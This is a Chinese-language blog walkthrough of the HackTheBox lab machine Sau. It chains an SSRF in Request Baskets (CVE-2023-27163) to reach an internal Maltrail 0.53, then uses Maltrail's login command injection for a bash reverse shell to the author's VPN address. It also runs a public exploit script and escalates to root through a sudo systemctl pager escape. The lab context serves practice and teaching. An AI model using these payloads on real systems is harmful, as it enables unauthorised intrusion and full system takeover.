目录

  1. 1. 前言
  2. 2. 信息收集
  3. 3. Requests Baskets CVE-2023-27163
  4. 4. Maltrail
    1. 4.1. 反弹shell
  5. 5. systemctl提权

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

HTB Sau

2023/11/26 渗透 HackTheBox
  |     |   总文章阅读量:

前言

正式开始htb打靶的旅程,频率大概会保持一周一个靶机

就从Sau开始

信息收集

拿到ip之后第一件事情就是开扫

image-20231126115935292

开了个80,55555端口,访问一手

80端口进不去,可以访问55555端口

image-20231126120109628

看起来是个Requests Baskets的框架,版本是1.2.1

Request Baskets是rbaskets开源的一个Web服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们

收集http请求,emmm猜测有ssrf,先搜看看有没有什么相关的框架漏洞

搜一下发现存在CVE-2023-27163:https://avd.aliyun.com/detail?id=AVD-2023-27163


Requests Baskets CVE-2023-27163

漏洞细节:https://notes.sjtu.edu.cn/s/MUUhEymt7#

request baskets服务存在api接口/api/baskets/{name}/baskets/{name},这里的name可以任意,这些接口会接收一个forward_url参数,而这个参数存在SSRF漏洞

点击create按钮,抓包api,根据文章中的payload传入请求体

{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

image-20231126122540213

这样子就设置了url,发包过去之后需要访问网址10.10.11.224:55555/test触发SSRF漏洞

image-20231126122817981

返回200,说明漏洞确实存在,但是没有任何回显

我们看一下这个漏洞的影响:对内部网络 HTTP 服务器的未经身份验证的访问

那么应该是因为我们的proxy_response没有设置为true,这里应该是控制是否将请求的url内容转发过来,那么我们再传一次

注意这里forward_url的路径要改为/,因为我们不知道127.0.0.1:80具体有什么内容

{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

image-20231126123657143

访问/test3

image-20231126123726561

成功显示了靶机80端口的网页

发现是Maltrail框架,版本0.53


Maltrail

maltrail是开源的恶意流量检测系统

搜一下Maltrail 0.53相关的漏洞,这里建议用英文maltrail vulnerability搜

漏洞细节:https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

Maltrail <= v0.54 在登录过程中容易受到未经身份验证的操作系统命令注入的影响。

poc:

curl 'http://hostname:8338/login' \ --data 'username=;`id > /tmp/bbq`'

在登入页面,请求体发送相应内容,可以执行系统命令,图片上执行id命令并将内容输出到/tmp/bbq。

利用此任意命令执行漏洞可以尝试反弹shell

因为这个漏洞需要login页面,所以再次用request baskets进行ssrf

{
    "forward_url": "http://127.0.0.1:80/login",
    "proxy_response": true,
    "insecure_tls": false,
    "expand_path": true,
    "capacity": 250
}

image-20231126124605826

image-20231126124641129

返回了login failed,说明成功访问login页面了

反弹shell

nc监听12345端口

nc -lvnp 12345

bp抓包/test4,修改请求体,弹的ip直接弹到我们的ovpn代理的ip上即可

username=;`bash -c "bash -i >& /dev/tcp/10.10.14.11/12345 0>&1"`

image-20231126130023145

但是这里不知道为什么没弹成。。。

这里有个GitHub上的项目可以利用:https://github.com/spookier/Maltrail-v0.53-Exploit

这里需要修改一下它的exp内容,把第三个参数后面加上的/login删掉

python3 Maltrail-v0.53-exploit.py 10.10.14.11 12345 http://10.10.11.224:55555/test4

image-20231126130915026

成功弹shell

user flag在/home/puma/user.txt

image-20231126131209803

systemctl提权

sudo -l查看授权的命令列表

image-20231126131430327

/usr/bin/systemctl status trail.service,在GTFOBins上搜一下,找到systemctl提权

image-20231126132415941

sudo systemctl status trail.service
!sh

image-20231126132350734

提权成功

image-20231126132554066

root flag在/root/root.txt

收工!

image-20231126132714049